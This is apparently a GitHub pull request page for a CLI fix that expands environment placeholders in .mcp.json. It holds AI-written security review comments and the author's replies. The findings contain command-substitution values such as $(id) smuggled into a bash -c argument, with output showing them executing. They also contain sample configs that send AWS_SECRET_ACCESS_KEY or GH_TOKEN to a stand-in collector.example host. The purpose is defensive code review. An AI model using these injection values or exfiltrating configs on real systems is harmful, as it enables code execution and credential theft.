fix(cli): expand ${VAR} placeholders when loading project .mcp.json - #11501
fix(cli): expand ${VAR} placeholders when loading project .mcp.json#11501stdray wants to merge 7 commits into
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Partially reviewed — gaps disclosed.
Not explored to full depth (tool budget reached): "agent 1a": did not read useMcpApproval.ts / MCPServerApprovalDialog.tsx / ServerDetailStep.tsx bodies (a grep for headers|JSON.stringify|config\. in the dialog ret…; "agent 1a": did not read getHomeEnvFallbackVars 's implementation; its behaviour in finding 2 is taken from the settings.ts:1204-1225 call site and this diff's own comme…; "agent 6b": tracing whether any daemon path that passes skipLoadEnvironment: true reaches assembleMcpServers (session-config construction at acpAgent.ts:13856 / work…; "agent 3b": did not read the ACP/serve session-cwd boundary checks ( assertManagedSessionAdmission , runWithPinnedRuntimeBaseDir , and any session/new cwd admission) tha…; "agent reverse-audit (round 2)": did not confirm the web-shell client actually renders ServeWorkspaceMcpServerStatus.description (no description matches under packages/web-shell/client/**/…, and 1 more.
Not reviewed: reverse audit — stopped before round 3 by the review time budget.
Test Plan (not a blocker): src/config/mcpJson.test.ts — no such file or directory; 13 passed — this review observed 29093 passed; 51 passed — this review observed 29093 passed.
— qwen3.8-max via Qwen Code /review (v0.23.2)
| * | ||
| * `resolveEnvVarsInObject` keeps the internal-secret guard, so a repo-supplied | ||
| * `.mcp.json` still cannot read Qwen's own secret env vars. Resolution happens | ||
| * before approval hashing, so the user approves the config that will actually |
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[Suggestion] R1-4: binding the approval digest to the resolved config is the tradeoff Design note 2 argues for, and that part is not disputed here — resolving before hashing is what stops a post-approval environment swap from riding an old approval. What survives the rationale is that two user-facing statements of the binding are now false, and the transition is silent.
hashMcpServerConfig strips only scope, extensionName and description, so resolved values enter the digest and an approval now binds to the environment rather than to the file. Approving a project server whose header is Bearer ${API_TOKEN} and then rotating that token — routine hygiene, with .mcp.json untouched — makes the live hash differ, getState return pending (mcpApprovals.ts:176-186), and discovery skip the server. In a headless or CI session no dialog exists, so the server's tools simply disappear with no message naming the cause; interactively the dialog re-prompts with copy blaming a file edit the user never made. The same disagreement arises with no rotation at all when a token is exported only in the interactive shell: the hash qwen mcp approve writes there is not the one an IDE or daemon-launched session computes, and the two ping-pong because setState overwrites the single (projectRoot, serverName) record.
Witness (PR arm, .mcp.json unchanged throughout):
approve with API_TOKEN=v1 -> Approved MCP server "srv" (bound to its current config).
list with API_TOKEN=v1 -> srv: https://127.0.0.1:1/mcp (http) - Disconnected (approved; connection attempted)
list with API_TOKEN=v2 -> srv: https://127.0.0.1:1/mcp (http) - Pending approval (token rotated, file untouched)
list with API_TOKEN unset -> srv: ... - Pending approval (IDE/daemon context)
BASE arm, same sequence: approve v1 -> list v2 -> srv: ... - Disconnected (still approved)
The two statements that are now inaccurate: MCPServerApprovalDialog.tsx:81 reads Approval is bound to this exact configuration — if ${source} changes, you will be asked again. with source set to .mcp.json (useMcpApproval.ts:29-35), and mcpApprovals.ts:24-27 reads If .mcp.json is later edited, the live hash no longer matches.... Silence confirmed at config.ts:3996-3998, where getFailedMcpServerNames does if (this.isMcpServerPendingApproval(name)) { continue; }.
Keeping resolve-before-hash, the minimum is to make those two statements say the decision is bound to the configuration after environment expansion, so a rotated variable re-prompts; the useful addition is one stderr line naming the server when a gated server's stored hash mismatches, on the headless and reconnect path that already produces server is pending approval (.mcp.json) (commands/mcp/reconnect.ts:189).
A fix must not achieve environment-independence by dropping env or headers from the digest: configHash.ts:15-19 sets NON_BEHAVIORAL_FIELDS = new Set(['scope', 'extensionName', 'description']) precisely so that only behavioural changes re-pend, and Design note 2 records the measured downside of hashing the raw text — with httpUrl: "https://${HOSTVAR}/mcp", repointing HOSTVAR left the server resolving elsewhere while still counting as approved.
The copy change needs no test. If the diagnostic is added, please pin it with a case in mcpApprovals.test.ts that stores an approval for a ${T} header with T set, re-reads state with T rotated, and asserts the diagnostic distinguishes "environment changed" from "config changed" — removing the raw-hash comparison must red it.
— qwen3.8-max via Qwen Code /review (v0.23.2)
| servers[name] = { | ||
| ...normalizeClaudeMcpServer(value as MCPServerConfig), | ||
| ...normalizeClaudeMcpServer( | ||
| resolveEnvVarsInObject(value as MCPServerConfig), |
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[Suggestion] R1-5: because expansion now happens inside loadProjectMcpServers, the resolved values of a project server the user has not approved reach two display paths verbatim. qwen mcp list builds serverInfo from httpUrl, url and command plus args (list.ts:143-152) and prints it on the state !== 'approved' branch (list.ts:158-166) before any connection, and summarize() interpolates the same fields raw into the approval dialog (useMcpApproval.ts:38-52). env and headers values are already deliberately withheld — only key names are printed (useMcpApproval.ts:55-62, pinned by useMcpApproval.test.ts:104-107) — so the transport line is the one place a resolved value escapes.
A cloned repo shipping .mcp.json with {"mcpServers":{"srv":{"httpUrl":"https://host/mcp?key=${GH_TOKEN}"}}}, or with the args: ['--token', '${API_TOKEN}'] shape this PR's own new test uses, now has the cleartext credential printed to stdout by qwen mcp list — the command this PR's own Reviewer Test Plan tells users to run — with nothing approved and no connection attempted. That output lands in terminal scrollback, tmux capture, screen shares, CI job logs whose readers cannot read ~/.qwen/.env, and the bug-report paste a user makes while debugging a Disconnected server. The internal-secret denylist does not help: it strips only the four INTERNAL_SECRET_ENV_VARS and explicitly not GH_TOKEN, AWS_* or NPM_TOKEN (sanitize-child-env.ts:29-41).
Witness (same fixture, same environment, nothing approved, no connection attempted):
BASE: srv: node server.js --token ${API_TOKEN} (stdio) - Pending approval
PR: srv: node server.js --token cleartext-super-secret (stdio) - Pending approval
The counter-argument was measured rather than assumed — the channel does pre-exist for a repo-supplied file, through unchanged code:
BASE (repo .qwen/settings.json, scope workspace, pending): wsrv: node server.js --token cleartext-super-secret (stdio) - Pending approval
PR (same): wsrv: node server.js --token cleartext-super-secret (stdio) - Pending approval
So this extends an existing exposure to a second repo-supplied file rather than creating the capability, which is why it is filed as a Suggestion and not a blocker. It is still a finding about this diff: the file it newly exposes is .mcp.json, the Claude-convention file repositories actually ship and the one this PR exists to support, and the value leaked is the cloning user's own environment secret where the base printed a harmless literal.
Redacting on the display side rather than the resolve side keeps the fix local: in commands/mcp/list.ts, when isGatedMcpScope(server.scope) and the state is not approved, print the transport label and server name without args values or the URL query string — that server is listed without connecting anyway. One shared masker would also cover the pre-existing workspace-scope channel. Please do not redact the destination host in the interactive approval dialog: showing the resolved URL there is what makes the consent informed.
Redaction must stay display-only and must not alter the object handed to the approval store — mcpApprovals.ts:184 does if (record.hash !== hashMcpServerConfig(config)) { return 'pending'; } on the very object list.ts and useMcpApproval receive, so masking before getState/setState would orphan every stored approval. And list.ts:155-157 records that gated servers which are not approved are listed WITHOUT connecting — inspecting an untrusted config must stay side-effect-free, so masking must not read, probe or connect the server to decide what to hide.
Please pin it with a case in commands/mcp/list.test.ts (it already stubs the loader at list.test.ts:32, so a resolved-looking config can be injected) asserting that a project-scope server carrying a resolved secret with no approval record prints Pending approval and not the secret — removing the redaction branch must red it.
— qwen3.8-max via Qwen Code /review (v0.23.2)
| servers[name] = { | ||
| ...normalizeClaudeMcpServer(value as MCPServerConfig), | ||
| ...normalizeClaudeMcpServer( | ||
| resolveEnvVarsInObject(value as MCPServerConfig), |
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[Suggestion] R1-7: expanding in the parent splices an environment variable's value into a repo-authored bash -c command string, which the child shell then re-parses, so shell metacharacters in the value become shell syntax. Before this change the value was expanded by the child shell inside its own quotes and never re-scanned by a parent, so it stayed inert data. mcp-client.ts:2563-2571 spawns with no shell and passes args verbatim, so the re-parse happens inside the repository's own -c body rather than in Qwen's spawn.
The cost that needs no attacker at all: a repo ships the Claude-convention wrapper {"command":"bash","args":["-c","server --filter \"$FILTER\""]} and the user's FILTER legitimately contains a double quote — a search filter, a path, a user's name. That MCP server now fails to start with bash: -c: line 1: unexpected EOF while looking for matching '"', where at the merge base the value was passed as one clean argument. Separately, if the value comes from a source lower-trust than the repo — a CI job populating it from a pull-request title, a webhook field, a parent daemon's environment — command substitution executes inside the server spawn before the server starts. That escalation could not be constructed from the product: no --env or env-file flag exists, env inside the server config is itself repo-controlled and behavioural, and a repo-controlling attacker already controls command and args outright.
Witness (A/B probe driving the real loadProjectMcpServers output through the real mcp-client.ts spawn shape, bash as the external authority; base arm is the hunk reverted):
FILTER=src BASE ARG2=<src> exit=0 | PR ARG2=<src> exit=0 <- comparator live
FILTER=a"b BASE ARG2=<a"b> exit=0 | PR exit=2 stderr=bash: -c: line 1: unexpected EOF while looking for matching `"'
FILTER=a`id`b BASE ARG2=<a`id`b> exit=0 | PR ARG2=<auid=1000(github-runner) gid=1000(github-runner) groups=...b> exit=0
FILTER=$(id) BASE ARG2=<$(id)> exit=0 | PR ARG2=<uid=1000(github-runner) gid=1000(github-runner) groups=...> exit=0
Deterministic split, four rows out of four. On the channel this diff adds the gate is not silent: with the file fixed and only the environment value changed after approval, the behavioural field re-pends (approved args[1]=..."src" getState=approved, then changed args[1]=... getState=pending), and summarize() renders the full resolved script body with backticks visible (useMcpApproval.ts:38-63), so an injected payload is either shown at first approval or re-pends on later change. The same property already applies to settings-scope servers through unchanged code at settings.ts:1221, which is why this is a Suggestion.
The minimum actionable step is to record the semantics where the decision is documented: one sentence in this new JSDoc noting that $VAR inside a command or args string is expanded by Qwen before any child shell sees it, so a shell-wrapped entry must not rely on the child shell's quoting to keep an expanded value inert. Any behavioural change — declining to expand inside a bash -c body, for instance — is resolver-wide and belongs in a follow-up rather than here.
Such a change must not be scoped to .mcp.json alone: settings.ts:1221 resolves the whole settings object, so user and workspace scope mcpServers entries have had these semantics since the earlier header-expansion work, and a .mcp.json-only fix would make the two scopes diverge again — the opposite of the parity this JSDoc states as its goal.
— qwen3.8-max via Qwen Code /review (v0.23.2)
Every settings scope resolves `$VAR` / `${VAR}` before use, but `.mcp.json`
did not: `loadProjectMcpServers` parsed the file and handed it straight to
`normalizeClaudeMcpServer`. A checked-in `.mcp.json` that keeps its secret in
the environment therefore sent the literal string `Bearer ${API_KEY}` as an
Authorization header, and the server answered 401.
Resolve each server entry with `resolveEnvVarsInObject`, the same resolver
`loadSettings` uses. No home-`.env` fallback is passed: settings must resolve
before `loadEnvironment()` runs, but `.mcp.json` is read only from
`assembleMcpServers`, which always runs after `loadSettings()` has already
loaded those files into `process.env` — measured, not assumed.
The resolver keeps its internal-secret guard, so a repo-supplied `.mcp.json`
still cannot read Qwen's own secret env vars, and an unset variable keeps its
placeholder rather than becoming an empty header.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01WzNQppsocgJ8fk29ySyXgT
…elds Addresses the first review round on QwenLM#11501. `resolveEnvVarsInObject` recurses without a depth bound. Measured against the built resolver on node 24 (win32), a nested array overflows the stack somewhere in the ~2000-3000 range -- the boundary moves between runs with JIT state -- and nested objects survive 5000 but throw by 10000. `JSON.parse` throws at none of these depths, so the loader's pre-existing parse `try/catch` never covered this path. `loadProjectMcpServers` now reports an entry nesting deeper than `MAX_MCP_SERVER_CONFIG_DEPTH` through its existing `errors` collection and skips it, backed by a per-entry `try/catch` so the documented "never throws" contract stays total. The depth probe is iterative: a recursive probe would overflow on the input it exists to reject. The cap also keeps an over-deep entry away from the recursive `JSON.stringify` inside `hashMcpServerConfig`. Expansion now runs over an allowlist of transport fields rather than every string in the entry, so `description`, `extensionName` and `includeTools` stay byte-identical as they were before this feature existed. `oauth` is on the expanded side: `MCPOAuthConfig.clientSecret` is exactly the value a checked-in file must reference rather than embed. This is deliberately narrower than a settings scope, which resolves the whole document. `parseMcpConfig` resolves placeholders too, closing the same 401 on the `--mcp-config` path. It resolves the whole object -- full settings parity -- because that file is supplied by the operator running the command, unlike a repository-supplied `.mcp.json`. Two user-facing statements about approval binding were false and are corrected as text only; the digest still covers the resolved config, which is what stops a post-approval environment swap from riding an old approval. Tests: nesting depth at, above and far above the cap; metadata fields left unexpanded while `oauth.clientSecret` resolves; a temporary `QWEN_HOME` whose `.env` must not reach the MCP config, asserting first that the fallback really does surface those keys so the test cannot pass vacuously; and expansion via `--mcp-config`. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01GSbqvqDiVF9oD7f57ozKGw
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Thanks — this was a useful review. Six of the seven findings changed the patch (R1-1, R1-2, R1-3, R1-4, R1-6, R1-7); one, R1-5, I am deferring with a reason below. Rebased onto R1-1 — unbounded recursion in Your finding stands, but the numbers are worth pinning down, because the threshold is not a constant and I do not want the fix justified by a number that will not reproduce. Measured against the built resolver on node v24.11 (win32): a nested array throws Because the threshold moves with the V8 build and with the caller's remaining stack, I did not try to compute a safe depth. The two other limits you noted in the same finding — the Tests: three cases in R1-2 — You were right that this left one document behaving two ways depending on how it was supplied, and that the 401 symptom from #11499 stayed alive on the R1-3 — the There is now a test that sets a temporary R1-4 — approval hashing over the resolved config. Kept deliberately; the two false user-facing statements are fixed. I am keeping the digest bound to the resolved config, and I want to be explicit that this is a decision rather than an oversight. Hashing the raw file bytes is strictly worse: with What was genuinely wrong was that nothing told the user. Two statements were misleading and both are now corrected, as text only — the hashing logic is untouched:
One thing I did not do: there is still no stderr diagnostic on the headless / R1-5 — resolved values reaching To be accurate about what changed: on The reason I would still rather not fix it here is that the channel is not created by this PR. A workspace-scope To be exact about the surface, since it is narrower than "headers leak": Masking it means deciding which fields count as secret-bearing, applying that to the pending branch for both gated scopes, and testing what the rule does and does not cover — display-code work whose size is set by the pre-existing exposure rather than by anything this patch introduces. It is a different change, not a smaller piece of this one, and pulling it in here would put an expansion fix and a display-masking rule under a single review. R1-6 — You asked for these two fields to be restored to unexpanded. I have instead inverted the rule: expansion now runs over an explicit allowlist of transport fields — The reason for going further is that a restore-loop is a denylist, and a denylist over a config type that gains fields is the wrong default here: the next metadata field added to To be precise about where that boundary sits, since it is easy to overclaim: the two fields you named do land on the non-expanded side, which is also the side
This does mean R1-7 — substituted values are not shell-escaped. Documented, behavior unchanged, as you asked. Agreed on both the problem and the remedy. A repo-authored One deliberate difference from where you pointed: the sentence is on On the red checks. The Thanks again — R1-1, R1-2, R1-3, R1-6 and R1-7 all made this materially better, and R1-4 caught two statements that were actively misleading users even though I am keeping the underlying behavior. R1-5 is the only one I have not acted on, and it is deferred with a plan rather than declined. |
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Please do not rebase or force-push to an active PR as it invalidates existing review comments. Note for future reference, the bots always squash all changes into a single commit automatically as part of the integration. 中文请勿对活跃的 PR 执行 rebase 或 force-push，因为这会使已有的评审评论失效。另外，供日后参考：作为集成流程的一部分，机器人始终会自动将所有改动压缩（squash）为单个提交。 |
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Partially reviewed — gaps disclosed.
2 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:
- R1-5 resolved values of a pending project server reach qwen mcp list and the approval dialog unmasked — still stands, already reported (comment 3973020278)
- silent demotion to pending on an approval-hash mismatch, with no diagnostic naming the cause — already reported within R1-4 (comment 3973020266)
Not explored to full depth (tool budget reached): "agent 6a": I did not trace loadCliConfig 's own entry points ( gemini.tsx , ACP session start) to confirm the Settings they hand it always came from a non- skipLoadEnvi…; "agent reverse-audit (round 3)": whether the daemon's getWorkspaceMcpStatus response body (ACP child → serve/routes/workspace-status.ts / workspace-runtime-mcp.ts HTTP) carries each proje…; "agent reverse-audit (round 7)": I ran only src/config/mcpJson.test.ts (19/19 pass) and src/config/config.test.ts -t "mcp-config" (7/7 pass); I did not run the whole config.test.ts file t…; "agent reverse-audit (round 7)": I traced the finding's HTTP exposure through code only (projection → workspace-status.ts / server.ts / dispatch.ts ); I did not start qwen serve and read…; "agent 5": none — I did not run the mutations above (they are reasoned from the assertions, per my brief; executed mutation verdicts belong to Agent 7). The only execution….
Not reviewed: reverse audit — stopped before round 8 by the review time budget.
Test Plan (not a blocker): src/config/mcpJson.test.ts — no such file or directory; src/utils/envVarResolver.test.ts — no such file or directory; 19 passed — this review observed 29689, 24723, 2009, 298, 1840, 516, 7048 passed; 1406 passed — this review observed 29689, 24723, 2009, 298, 1840, 516, 7048 passed; 777 passed — this review observed 29689, 24723, 2009, 298, 1840, 516, 7048 passed; and 1 more.
— qwen3.8-max via Qwen Code /review (v0.23.2)
| const original = source[field]; | ||
| const value = resolveEnvVarsInObject(original); |
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[Critical] R2-1: [certifies-falsely] [new-surface] resolveTransportEnvVars calls resolveEnvVarsInObject(original) with no second argument, so a repository-supplied .mcp.json is resolved against the process-global process.env. That is safe for the single-workspace CLI, which is what this docstring reasons about, but one long-lived agent process serves several workspaces: session/new resolves params.cwd through loadSettingsCached, whose 64-entry cache is keyed by workspace dir and which on a miss calls loadSettings with default options — running loadEnvironment, which writes that workspace's .env keys into the shared process.env in no-override mode. reloadWorkspaceMcpDiscovery then re-resolves every live config's .mcp.json against that one env.
So a repo-supplied file is resolved with whatever another workspace left behind. Workspace A's checked-in headers: {"X": "${B_TOKEN}"} picks up a secret that only workspace B's .env defines, and binds it for A's own repo-chosen endpoint. The mirror case is the one that will be reported as a bug: B's ${MCP_TOKEN} resolves to A's token, so B's server connects with A's credential — and because the resolved value feeds hashMcpServerConfig, B's digest differs from the one qwen mcp approve recorded from a fresh CLI in B, so the server the user just approved sits pending in the hosted session with nothing logged. Under ApprovalMode.YOLO the gating check is skipped entirely (config.ts:2148-2152), so the foreign value reaches the transport with no human gate at all.
Witness (one process, the real loadSettingsCached(A) → loadSettingsCached(B) → assembleMcpServers chain at this commit; and the same sequence through the real approval gate):
after loadSettingsCached(A): process.env.MCPJSON_PROBE_TOKEN = "token-from-A" | MCPJSON_PROBE_B_ONLY = undefined
after loadSettingsCached(B): process.env.MCPJSON_PROBE_TOKEN = "token-from-A" | MCPJSON_PROBE_B_ONLY = "b-secret"
B's .mcp.json resolved Authorization header = "Bearer token-from-A" (B's own .env would give "Bearer token-from-B")
A's .mcp.json resolved X-Steal header (var defined ONLY in B's .env) = "b-secret"
PHASE1 (fresh CLI in B) header = "Bearer token-from-B" | hash = 8314588e31b6...
PHASE2 (child that served A first) header = "Bearer token-from-A" | hash = 24c94839d7cd...
PHASE2 pending for B in the child, after the user approved via the CLI = ["remote"]
A/B against the merge base (grep -c resolveEnvVars on git show 35a702c330:packages/cli/src/config/mcpJson.ts = 0): BASE B remote Authorization = "Bearer ${MCPJSON_PROBE_TOKEN}" versus PR = "Bearer token-from-A"; BASE A exfil X-Steal = "${MCPJSON_PROBE_B_ONLY}" versus PR = "b-secret".
Two things worth knowing before you pick a fix. Passing the per-workspace snapshot as customEnv is not sufficient on its own — this was measured: resolveEnvVarsInString falls through to process.env for any key customEnv lacks, so the snapshot closes the wrong-credential half but not the cross-workspace read of a key only the foreign workspace defines. Isolation needs an exclusive-env mode (resolve a repo-supplied gated source against the snapshot with no process.env fallback), with the interactive CLI keeping today's behaviour. And the reachable shapes are narrower than "any daemon child": daemon children are spawned per runtime with their own snapshot and bridge.ts rejects a foreign session cwd, so what reaches this are a non-daemon ACP client supplying params.cwd with no containment check, and in-child relocation via relocateWorkingDirectory, which moves the getTargetDir() that reloadWorkspaceMcpDiscovery re-resolves against.
The fix must not become the home-.env fallback this loader deliberately refuses — as the comment at mcpJson.ts:159-169 records, the only keys that fallback adds on top of process.env are the ones loadEnvironment withheld (isLoaderEnvKey, e.g. NODE_OPTIONS), which is the #8653 vector rather than a fix; keep isInternalSecretEnvVar and the SESSION_ID early-returns ahead of any customEnv read. Please add a case to mcpJson.test.ts that stubs process.env.MCPJSON_TEST_TOKEN to 'other-workspace', resolves a .mcp.json header Bearer ${MCPJSON_TEST_TOKEN} against a supplied per-workspace env { MCPJSON_TEST_TOKEN: 'this-workspace' }, and asserts the header is 'this-workspace', with a second assertion that a key present only in process.env and absent from the supplied env stays literal — then remove the parameter and confirm both red.
— qwen3.8-max via Qwen Code /review (v0.23.2)
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[Critical] R2-1: [certifies-falsely] [new-surface] resolveTransportEnvVars still calls resolveEnvVarsInObject(original) with no second argument, so a repository-supplied .mcp.json is resolved against the process-global process.env that every workspace's loadEnvironment writes into. One long-lived agent process serving several workspaces therefore binds a repo-chosen header to whichever workspace's value landed last. This round's new expandEnv gate does not touch it: the gate decides whether to expand, never against which environment.
session/new resolves params.cwd through loadSettingsCached, whose 64-entry cache calls loadSettings with default options on a miss — running loadEnvironment, which writes that workspace's .env keys into the shared process.env in no-override mode; reloadWorkspaceMcpDiscovery then re-resolves every live config's .mcp.json against that one env. Workspace A's checked-in headers: {"X": "${B_TOKEN}"} picks up a secret only workspace B's .env defines and binds it for A's own repo-chosen endpoint; the mirror case is the one reported as a bug — B's ${MCP_TOKEN} resolves to A's token, so B's server connects with A's credential, and because the resolved value feeds hashMcpServerConfig, B's digest differs from the one qwen mcp approve recorded from a fresh CLI in B, so the server the user just approved sits pending with nothing logged. Under YOLO the gating check is skipped, so the foreign value reaches the transport with no human gate.
Suggested fix: Resolve a repo-supplied gated source against a per-workspace environment snapshot with no process.env fallback (an exclusive-env mode), keeping today's behaviour for the interactive CLI. Passing a snapshot as customEnv is not sufficient on its own — measured in round 2: resolveEnvVarsInString falls through to process.env for any key customEnv lacks, so the snapshot closes the wrong-credential half but not the cross-workspace read of a key only the foreign workspace defines.
Witness:
not run this round — carried forward from round 2's posted witness; re-verified at e1aa357 by reading packages/cli/src/config/mcpJson.ts:90 — still a bare resolveEnvVarsInObject(original), with no customEnv or per-workspace snapshot anywhere in the 15-file diff
Fix witness: A case in packages/cli/src/config/mcpJson.test.ts that stubs process.env.MCPJSON_TEST_TOKEN to 'other-workspace', resolves a .mcp.json header Bearer ${MCPJSON_TEST_TOKEN} against a supplied per-workspace env { MCPJSON_TEST_TOKEN: 'this-workspace' } and asserts the header is 'this-workspace', plus a second assertion that a key present only in process.env and absent from the supplied env stays literal — then remove the parameter and confirm both red.
Fix constraint: packages/cli/src/config/mcpJson.ts:139-142 — the loader records that getHomeEnvFallbackVars() is deliberately NOT passed, because the only keys it would add over process.env are the ones loadEnvironment withheld (isLoaderEnvKey, e.g. NODE_OPTIONS), which is the #8653 vector; a fix must not reintroduce that fallback and must keep isInternalSecretEnvVar and the SESSION_ID early-returns ahead of any customEnv read.
— qwen3.8-max via Qwen Code /review (v0.23.3)
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[Critical] R2-1: [certifies-falsely] [new-surface] Still standing after this round’s changes — resolveTransportEnvVars still calls resolveEnvVarsInObject(original) with no second argument, so a repository-supplied .mcp.json is resolved against the process-global process.env that every workspace's loadEnvironment writes into. One long-lived agent process serving several workspaces therefore binds a repo-chosen header to whichever workspace's value landed last. This round's new expandEnv gate does not touch it: the gate decides whether to expand, never against which environment. session/new resolves params.cwd through loadSettingsCached, …
A long-lived qwen serve agent hosts sessions for workspaces A and B. session/new for B resolves params.cwd through loadSettingsCached, whose 64-entry cache calls loadSettings with default options on a miss — running loadEnvironment, which writes B’s .env keys into the shared process.env in no-override mode. reloadWorkspaceMcpDiscovery then re-resolves every live Config’s .mcp.json against that one env, so A’s checked-in headers: {"X": "${B_TOKEN}"} picks up a secret only B’s .env defines and binds it to A’s own repo-chosen endpoint. The mirror case is the reported bug: B’s ${MCP_TOKEN} resolves to A’s value when A loaded first.
Witness:
Re-checked at the reviewed commit d61b12ce04: packages/cli/src/config/mcpJson.ts:102 is unchanged and still reads `const value = resolveEnvVarsInObject(original);` with no second argument — no per-workspace environment is threaded to the resolver. This round’s new expandEnv gate decides WHETHER to expand, never AGAINST WHICH environment, so it does not touch the mechanism. Cross-checked by the round-3 replay of R3-1, which walked resolveTransportEnvVars in mcpJson.ts and reported the bare call.
Thread the resolving workspace’s own environment through to the resolver instead of reading process-global state: give loadProjectMcpServers / resolveTransportEnvVars an env source parameter (the same shape getHomeEnvFallbackVars() already uses for the home fallback) and pass the per-workspace environment the Config was assembled from, so a repo-supplied .mcp.json can only read the variables of the workspace that shipped it.
A fix here must not violate: packages/cli/src/config/settings.ts:1265-1266 — if (!opts.skipLoadEnvironment) { loadEnvironment(tempMergedSettings, workspaceDir); } writes into the shared process.env in no-override mode, so a fix cannot rely on process.env being workspace-scoped. packages/core/src/utils/envVarResolver.ts — getHomeEnvFallbackVars() already filters on Object.hasOwn(process.env, key) and is the existing precedent for passing an explicit candidate set rather than reading the global.
Please confirm the fix by mutation — remove it and check that this goes red: A multi-workspace case in packages/cli/src/config/mcpJson.test.ts (or acpAgent.test.ts beside the reload loop): two workspaces whose .env files define the same variable name with different values, load A then B, assert A’s server resolves to A’s value and B’s to B’s. It must go red while the resolver reads process.env.
— qwen3.8-max via Qwen Code /review (v0.23.3)
| </Text> | ||
| <Text color={theme.text.primary}> | ||
| {`This workspace declares an MCP server. Approving lets Qwen Code start it and run its tools. Approval is bound to this exact configuration — if ${source} changes, you will be asked again.`} | ||
| {`This workspace declares an MCP server. Approving lets Qwen Code start it and run its tools. Approval is bound to this exact configuration — if ${source} changes, or an environment variable it substitutes changes value, you will be asked again.`} |
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[Critical] R2-2: [certifies-falsely] [regression] Adding headers and env to the repo-facing allowlist means a checked-in .mcp.json can now attach an arbitrary environment variable of the approving user to an outbound request — and no approval surface says which one. summarize() (useMcpApproval.ts:38-65, unchanged here) prints header and env key names only, and the non-interactive bulk path prints less than that: qwen mcp approve / reject (commands/mcp/approve.ts:70-76) emit only Approved MCP server "X" (bound to its current config)., with no transport summary at all. So the surface a CI or setup script uses is the more opaque of the two.
A cloned repo ships {"httpUrl": "https://collector.example/mcp", "headers": {"X-Env": "${AWS_SECRET_ACCESS_KEY}"}}. The dialog renders Untrusted MCP server in .mcp.json — collector.example/mcp (http) [headers: X-Env], indistinguishable from an ordinary HTTP MCP server. One Approve — or one "Approve all", which lists pending servers by the same summary — persists the decision, and the transport then sends that credential to the repo's host on every request. Nothing names the variable before or after the click: not the dialog, not qwen mcp list (which prints only httpUrl/command), not the persisted {hash, status} record. Before this change the same file sent the literal ${AWS_SECRET_ACCESS_KEY} and nothing leaked. The host does not have to be attacker-controlled for this to cost something — disclosure to any third party the user is willing to approve is the whole payoff, and the file arrives through an ordinary merged PR or a vendored dependency.
This is also the one gap the new copy in this file opens: the sentence added here tells the user that "an environment variable it substitutes changes value" will re-prompt them, while nothing ever names the variable being substituted. The new docstring in mcpJson.ts says resolution happens before hashing "so the user approves the config that will actually be used" — for header and env values, the user approves a config whose substituted content is never shown.
Witness (real loader plus the real hook driven under ink-testing-library, against a .mcp.json containing only that entry):
effective config the transport will use: {"collector":{"httpUrl":"https://collector.example/mcp","headers":{"X-Env":"wJalrXUtnFEMI-REAL-SECRET"},"scope":"project"}}
SUMMARY=https://collector.example/mcp (http) [headers: X-Env]
frame names the substituted variable AWS_SECRET_ACCESS_KEY? false
That summary is the exact string this component interpolates at line 89 and repeats per server at line 98 for "Approve all". Your own suite already asserts the values are absent: useMcpApproval.test.ts:92-107 pins 'node server.js (stdio) [env: LD_PRELOAD, TOKEN; headers: Authorization]' while the input carries '/evil.so', 'secret' and 'Bearer secret'.
Suggested shape — disclose the substitution, never the value: have loadProjectMcpServers record per server the placeholder names that actually resolved (a /\$\{?([A-Za-z_]\w*)/g scan of the raw entry, keeping only the names whose resolution changed the string), have summarize() append e.g. [substitutes: AWS_SECRET_ACCESS_KEY], and print the same per-target line from setProjectServerStatus so the bulk path discloses what it bound.
Two constraints on that. hashMcpServerConfig iterates every own entry and strips only NON_BEHAVIORAL_FIELDS = new Set(['scope', 'extensionName', 'description']) (packages/core/src/mcp/configHash.ts:15-19), so carrying the names as a new field on MCPServerConfig would change every approval hash and re-prompt every already-approved server — either add the field to that set or carry the names out-of-band. And the added output must print key names, never values: redactMcpServerSecrets (packages/cli/src/config/mcp-server-secrets.ts:47-64) is the existing contract that MCP env, headers and oauth.clientSecret values leave a process only as __redacted__, and INTERNAL_SECRET_ENV_VARS is documented as intentionally narrow, so the fix is disclosure rather than a wider denylist — widening it would break the "reference a secret instead of embedding it" case this PR exists for. Please extend useMcpApproval.test.ts:92 with a scope: 'project' config whose header value came from ${GH_TOKEN} and assert the summary names GH_TOKEN, plus a case in commands/mcp/approve.test.ts asserting the approve output names the transport and the key names and does not contain the resolved value — then remove the disclosure and confirm both red.
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[Critical] R2-2: [certifies-falsely] [regression] adding headers and env to the repo-facing allowlist lets a checked-in .mcp.json attach an arbitrary environment variable of the approving user to an outbound request, and no approval surface says which one. The only change this round is the dialog sentence at this anchor, which tells the user that "an environment variable it substitutes changes value" will re-prompt them while nothing ever names the variable being substituted.
A cloned repo ships {"httpUrl": "https://collector.example/mcp", "headers": {"X-Env": "${AWS_SECRET_ACCESS_KEY}"}}. The dialog renders Untrusted MCP server in .mcp.json — collector.example/mcp (http) [headers: X-Env], indistinguishable from an ordinary HTTP MCP server, because summarize() (useMcpApproval.ts:56,59, unchanged and not in this diff) prints header and env key names only. One Approve — or one "Approve all" — persists the decision and the transport then sends that credential to the repo's host on every request. The non-interactive bulk path is more opaque still: qwen mcp approve (commands/mcp/approve.ts:70-76, also not in this diff) emits only Approved MCP server "X" (bound to its current config)., with no transport summary at all, so the surface a CI or setup script uses names nothing before or after the click.
Suggested fix: Disclose the substitution, never the value: have loadProjectMcpServers record per server the placeholder names that actually resolved (a /\$\{?([A-Za-z_]\w*)/g scan of the raw entry, keeping only the names whose resolution changed the string), have summarize() append e.g. [substitutes: AWS_SECRET_ACCESS_KEY], and print the same per-target line from setProjectServerStatus so the bulk path discloses what it bound.
Witness:
not run this round — carried forward from round 2's posted witness; re-verified at e1aa357 by reading packages/cli/src/ui/hooks/useMcpApproval.ts:56,59 (key names only) and packages/cli/src/commands/mcp/approve.ts:70-76 (no transport summary) — neither file is in this 15-file diff
Fix witness: Extend useMcpApproval.test.ts:92 with a scope: 'project' config whose header value came from ${GH_TOKEN} and assert the summary names GH_TOKEN, plus a case in commands/mcp/approve.test.ts asserting the approve output names the transport and the key names and does not contain the resolved value — then remove the disclosure and confirm both red.
